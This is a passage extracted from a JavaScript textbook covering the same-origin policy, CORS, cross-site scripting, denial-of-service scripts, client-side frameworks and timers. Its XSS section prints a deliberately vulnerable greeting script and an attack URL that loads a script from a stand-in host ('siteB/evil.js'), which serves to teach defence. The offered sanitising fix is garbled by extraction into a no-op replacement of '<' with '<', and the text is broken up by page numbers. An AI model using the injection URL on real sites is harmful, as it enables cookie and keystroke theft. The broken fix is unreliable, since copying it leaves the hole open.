58
your scripts. If your script opened the window, your script can close it, but it cannot
“look inside” the window in any way. The same-origin policy also applies to scripted
HTTP requests made with the XMLHttpRequest object (see Chapter 18). This object
allows client-side JavaScript code to make arbitrary HTTP requests to the web server
from which the containing document was loaded, but it does not allow scripts to com-
municate with other web servers.
The same-origin policy is necessary to prevent scripts from stealing proprietary infor-
mation. Without this restriction, a malicious script (loaded through a firewall into a
browser on a secure corporate intranet) might open an empty window, hoping to trick
the user into using that window to browse files on the intranet. The malicious script
would then read the content of that window and send it back to its own server. The
same-origin policy prevents this kind of behavior.
13.6.2.1 Relaxing the same-origin policy
In some circumstances, the same-origin policy is too restrictive. This section describes
three techniques for relaxing it.
The same-origin policy poses problems for large websites that use multiple subdo-
mains. For example, a script in a document from home.example.com might legitimately
want to read properties of a document loaded from developer.example.com, or scripts
from orders.example.com might need to read properties from documents on catalog.ex-
ample.com. To support multidomain websites of this sort, you can use the
domain
property of the Document object. By default, the
domain
property contains the host-
name of the server from which the document was loaded. You can set this property,
but only to a string that is a valid domain suffix of itself. Thus, if
domain
is originally
the string “home.example.com”, you can set it to the string “example.com”, but not
to “home.example” or “ample.com”. Furthermore, the
domain
value must have at least
one dot in it; you cannot set it to “com” or any other top-level domain.
If two windows (or frames) contain scripts that set
domain
to the same value, the same-
origin policy is relaxed for these two windows, and each window can interact with
the other. For example, cooperating scripts in documents loaded from
orders.example.com and catalog.example.com might set their
document.domain
proper-
ties to “example.com”, thereby making the documents appear to have the same origin
and enabling each document to read properties of the other.
The second technique for relaxing the same-origin policy is being standardized under
the name Cross-Origin Resource Sharing (see http://www.w3.org/TR/cors/). This draft
standard extends HTTP with a new
Origin:
request header and a new
Access-Control-
Allow-Origin
response header. It allows servers to use a header to explicitly list origins
that may request a file or to use a wildcard and allow a file to be requested by any site.
Browsers such as Firefox 3.5 and Safari 4 use this new header to allow the cross-origin
HTTP requests with XMLHttpRequest that would otherwise have been forbidden by
the same-origin policy.
13.6 Security | 335
Client-Side
JavaScript
44
Another new technique, known as cross-document messaging, allows a script from one
document to pass textual messages to a script in another document, regardless of the
script origins. Calling the
postMessage()
method on a Window object results in the
asynchronous delivery of a message event (you can handle it with an
onmessage
event
handler function) to the document in that window. A script in one document still
cannot invoke methods or read properties of the other document, but they can com-
municate safely through this message-passing technique. See §22.3 for more on the
cross-document messaging API.
13.6.3 Scripting Plug-ins and ActiveX Controls
Although the core JavaScript language and the basic client-side object model lack the
filesystem and networking features that the worst malicious code requires, the situation
is not quite as simple as it appears. In many web browsers, JavaScript is used as a “script
engine” for ActiveX controls (in IE) or plug-ins (other browsers). The Flash and Java
plug-ins are commonly installed examples, and they expose important and powerful
features to client-side scripts.
There are security implications to being able to script ActiveX controls and plug-ins.
Java applets, for example, have access to low-level networking capabilities. The Java
security “sandbox” prevents applets from communicating with any server other than
the one from which they were loaded, so this does not open a security hole. But it
exposes the basic problem: if plug-ins are scriptable, you must trust not just the web
browser’s security architecture, but also the plug-in’s security architecture. In practice,
the Java and Flash plug-ins seem to have robust security and they are actively main-
tained and updated when security holes are discovered. ActiveX scripting has had a
more checkered past, however. The IE browser has access to a variety of scriptable
ActiveX controls that are part of the Windows operating system, and in the past some
of these scriptable controls have included exploitable security holes.
13.6.4 Cross-Site Scripting
Cross-site scripting, or XSS, is a term for a category of security issues in which an attacker
injects HTML tags or scripts into a target website. Defending against XSS attacks is
typically the job of server-side web developers. However, client-side JavaScript pro-
grammers must also be aware of, and defend against, cross-site scripting.
A web page is vulnerable to cross-site scripting if it dynamically generates document
content and bases that content on user-submitted data without first “sanitizing” that
data by removing any embedded HTML tags from it. As a trivial example, consider the
following web page that uses JavaScript to greet the user by name:
<script>
var name = decodeURIComponent(window.location.search.substring(1)) || "";
document.write("Hello " + name);
</script>
336 | Chapter 13: JavaScript in Web Browsers
62
This two-line script uses
window.location.search
to obtain the portion of its own URL
that begins with ?. It uses
document.write()
to add dynamically generated content to
the document. This page is intended to be invoked with a URL like this:
http://www.example.com/greet.html?David
When used like this, it displays the text “Hello David”. But consider what happens
when it is invoked with this URL:
http://www.example.com/greet.html?%3Cscript%3Ealert('David')%3C/script%3E
With this URL, the script dynamically generates another script (
%3C
and
%3E
are codes
for angle brackets)! In this case, the injected script simply displays a dialog box, which
is relatively benign. But consider this case:
http://siteA/greet.html?name=%3Cscript src=siteB/evil.js%3E%3C/script%3E
Cross-site scripting attacks are so called because more than one site is involved. Site B
(or some other site C) includes a specially crafted link (like the one above) to site A that
injects a script from site B. The script evil.js is hosted by the evil site B, but it is now
embedded in site A, and it can do absolutely anything it wants with site A’s content. It
might deface the page or cause it to malfunction (such as by initiating one of the denial-
of-service attacks described in the next section). This would be bad for site A’s customer
relations. More dangerously, the malicious script can read cookies stored by site A
(perhaps account numbers or other personally identifying information) and send that
data back to site B. The injected script can even track the user’s keystrokes and send
that data back to site B.
In general, the way to prevent XSS attacks is to remove HTML tags from any untrusted
data before using it to create dynamic document content. You can fix the greet.html
file shown earlier by adding this line of code to remove the angle brackets around
<script>
tags:
name = name.replace(/</g, "<").replace(/>/g, ">");
The simple code above replaces all angle brackets in the string with their corresponding
HTML entities, thereby escaping and deactivating any HTML tags in the string. IE8
defines a more nuanced
toStaticHTML()
method that removes
<script>
tags (and any
other potentially executable content) without altering nonexecutable HTML.
toSta
ticHTML()
is not standardized, but it is straightforward to write your own HTML san-
itizer function like this in core JavaScript.
HTML5 goes beyond content sanitation strategies and is defining a
sandbox
attribute
for the
<iframe>
element. When implemented, this should allow the safe display of
untrusted content, with scripts automatically disabled.
Cross-site scripting is a pernicious vulnerability whose roots go deep into the architec-
ture of the Web. It is worth understanding this vulnerability in depth, but further dis-
cussion is beyond the scope of this book. There are many online resources to help you
defend against cross-site scripting. One important primary source is the original CERT
Advisory about this problem: http://www.cert.org/advisories/CA-2000-02.html.
13.6 Security | 337
Client-Side
JavaScript
42
13.6.5 Denial-of-Service Attacks
The same-origin policy and other security restrictions described here do a good job of
preventing malicious code from damaging your data or compromising your privacy.
They do not protect against brute-force denial-of-service attacks, however. If you visit
a malicious website with JavaScript enabled, that site can tie up your browser with an
infinite loop of
alert()
dialog boxes or can slow down your CPU with an infinite loop
or a meaningless computation.
Some browsers detect repeated dialog boxes and long-running scripts and give the user
the option to stop them. But malicious code can use methods such as
setInterval()
to
load the CPU and can also attack your system by allocating lots of memory. There is
no general way that web browsers can prevent this kind of ham-handed attack. In
practice, this is not a common problem on the Web since no one returns to a site that
engages in this kind of scripting abuse!
13.7 Client-Side Frameworks
Many web developers find it useful to build their web applications on top of a client-
side framework library. These libraries are “frameworks” in the sense that they build a
new higher-level API for client-side programming on top of the standard and propri-
etary APIs offered by web browsers: once you adopt a framework, your code needs to
be written to use the APIs defined by that framework. The obvious benefit of using a
framework is that it is a higher-level API that allows you to do more with less code. A
well-written framework will also address many of the compatibility, security, and ac-
cessibility issues described above.
This book documents jQuery, one of the most popular frameworks, in Chapter 19. If
you decide to adopt jQuery for your projects, you should still read the chapters leading
up to Chapter 19; understanding the low-level APIs will make you a better web devel-
oper, even if you rarely need to use those APIs directly.
There are many JavaScript frameworks other than jQuery—many more than I can list
here. Some of the best known and most widely used open source frameworks include:
Prototype
The Prototype library (http://prototypejs.org) focuses on DOM and Ajax utilities,
like jQuery does, and adds quite a few core-language utilities as well. The Scrip-
taculous library (http://script.aculo.us/) can be added on for animations and visual
effects.
Dojo
Dojo (http://dojotoolkit.org) is a large framework that advertises its “incredible
depth.” It includes an extensive set of UI widgets, a package system, a data ab-
straction layer, and more.
338 | Chapter 13: JavaScript in Web Browsers
21
YUI
YUI (http://developer.yahoo.com/yui/) is the in-house library of Yahoo!, and it is
used on their home page. Like Dojo, it is a large, all-encompassing library with
language utilities, DOM utilities, UI widgets, and so on. There are actually two
incompatible versions of YUI, known as YUI 2 and YUI 3.
Closure
The Closure library (http://code.google.com/closure/library/) is the client-side li-
brary that Google uses for Gmail, Google Docs, and other web applications. This
library is intended to be used with the Closure compiler (http://code.google.com/
closure/compiler/), which strips out unused library functions. Because unused code
is stripped out before deployment, the designers of the Closure library did not need
to keep the feature set compact, so Closure has a sprawling set of utilities.
GWT
GWT, the Google Web Toolkit (http://code.google.com/webtoolkit/), is a complete-
ly different kind of client-side framework. It defines a web application API in Java
and provides a compiler to translate your Java programs into compatible client-
side JavaScript. GWT is used in some of Google’s products, but it is not as widely
used as their Closure library.
13.7 Client-Side Frameworks | 339
Client-Side
JavaScript
53
CHAPTER 14
The Window Object
Chapter 13 introduced the Window object and the central role it plays in client-side
JavaScript: it is the global object for client-side JavaScript programs. This chapter covers
the properties and methods of the Window object. These properties define a number
of different APIs, only some of which are actually related to the browser windows for
which the Window object was named. This chapter covers the following:
• §14.1 shows how to use
setTimeout()
and
setInterval()
to register a function to
be invoked at specified times in the future.
• §14.2 explains how to use the
location
property to obtain the URL of the currently
displayed document and to load new documents.
• §14.3 covers the
history
property, and shows how to move the browser backward
and forward through its history.
• §14.4 shows how to use the
navigator
property to obtain browser vendor and
version information and how to use the
screen
property to query the size of the
desktop.
• §14.5 shows how to display simple text dialogs with the
alert()
,
confirm()
, and
prompt()
methods and how to display HTML dialog boxes with
showModalDialog()
.
• §14.6 explains how you can register an
onerror
handler method to be invoked
when uncaught JavaScript exceptions occur.
• §14.7 explains that the IDs and names of HTML elements are used as properties
of the Window object.
• §14.8 is a long section that explains how to open and close browser windows and
how to write JavaScript code that works with multiple windows and nested frames.
14.1 Timers
setTimeout()
and
setInterval()
allow you to register a function to be invoked once or
repeatedly after a specified amount of time has elapsed. These are important global
functions of client-side JavaScript, and are therefore defined as methods of Window,
341
72
but they are general-purpose functions and don’t really have anything to do with the
window.
The
setTimeout()
method of the Window object schedules a function to run after a
specified number of milliseconds elapses.
setTimeout()
returns a value that can be
passed to
clearTimeout()
to cancel the execution of the scheduled function.
setInterval()
is like
setTimeout()
except that the specified function is invoked repeat-
edly at intervals of the specified number of milliseconds:
setInterval(updateClock, 60000); // Call updateClock() every 60 seconds
Like
setTimeout()
,
setInterval()
returns a value that can be passed to
clearInterval()
to cancel any future invocations of the scheduled function.
Example 14-1 defines a utility function that waits a specified amount of time, invokes
a function repeatedly, and then cancels the invocations after another specified amount
of time. It demonstrates
setTimeout()
,
setInterval()
, and
clearInterval()
.
Example 14-1. A timer utility function
/*
* Schedule an invocation or invocations of f() in the future.
* Wait start milliseconds, then call f() every interval milliseconds,
* stopping after a total of start+end milliseconds.
* If interval is specified but end is omitted, then never stop invoking f.
* If interval and end are omitted, then just invoke f once after start ms.
* If only f is specified, behave as if start was 0.
* Note that the call to invoke() does not block: it returns right away.
*/
function invoke(f, start, interval, end) {
if (!start) start = 0; // Default to 0 ms
if (arguments.length <= 2) // Single-invocation case
setTimeout(f, start); // Single invocation after start ms.
else { // Multiple invocation case
setTimeout(repeat, start); // Repetitions begin in start ms
function repeat() { // Invoked by the timeout above
var h = setInterval(f, interval); // Invoke f every interval ms.
// And stop invoking after end ms, if end is defined
if (end) setTimeout(function() { clearInterval(h); }, end);
}
}
}
For historical reasons, you can pass a string as the first argument to
setTimeout()
and
setInterval()
. If you do this, the string will be evaluated (as with
eval()
) after the
specified timeout or interval. The HTML5 specification (and all browsers except IE)
allow additional arguments to
setTimeout()
and
setInterval()
after the first two. Any
such arguments are passed to the function that is invoked. If portability with IE is
required, however, you shouldn’t use this feature.
342 | Chapter 14: The Window Object
Documents you may be interested
Documents you may be interested